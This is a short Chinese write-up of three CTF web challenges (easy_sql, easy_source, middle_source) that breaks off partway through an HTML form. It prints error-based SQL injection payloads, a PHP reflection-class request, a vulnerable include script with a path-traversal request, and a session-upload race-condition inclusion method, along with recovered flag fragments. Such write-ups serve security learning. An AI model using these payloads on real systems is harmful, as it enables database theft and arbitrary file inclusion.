easy_sql
无列名和报错注入
uname=123&passwd=123') AND EXTRACTVALUE(1,CONCAT(0x5e,(select * from (select * from flag as a join flag as b using(no,id))x)))--+
出了字段名1d004bae-a9e9-4f4e-8af1-c9518d464307
uname=qwe&passwd=') AND EXTRACTVALUE(1,CONCAT(0x5e,(select RIGHT(`column`,31) from flag)))--+
出了后段^rgiXT-97SMk-yiGwB-Ithem-Ozeer-}
flag还挺长,再出个前段CISCN{rgiXT-97SMk-yiGwB-Ithem-O
easy_source
这题考察了php原生类的使用,参考ctfshow的web100
使用反射类new ReflectionClass("类名")
,获得这个类的信息
/?rc=ReflectionMethod&ra=User&rb=q&rd=getDocComment
middle_source
<?php
highlight_file(__FILE__);
echo "your flag is in some file in /etc ";
$fielf=$_POST["field"];
$cf="/tmp/app_auth/cfile/".$_POST['cf'];
if(file_exists($cf)){
include $cf;
echo $$field;
exit;
}
else{
echo "";
exit;
}
?>
PHP_SESSION_UPLOAD_PROGRESS加条件竞争进行文件包含
参考之前做的ctfshow的web 82-86
这里有phpinfo
field=1&cf=../../../var/www/html/you_can_seeeeeeee_me.php
拿到session的目录:/var/lib/php/sessions/eciaadedie/
post包:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content=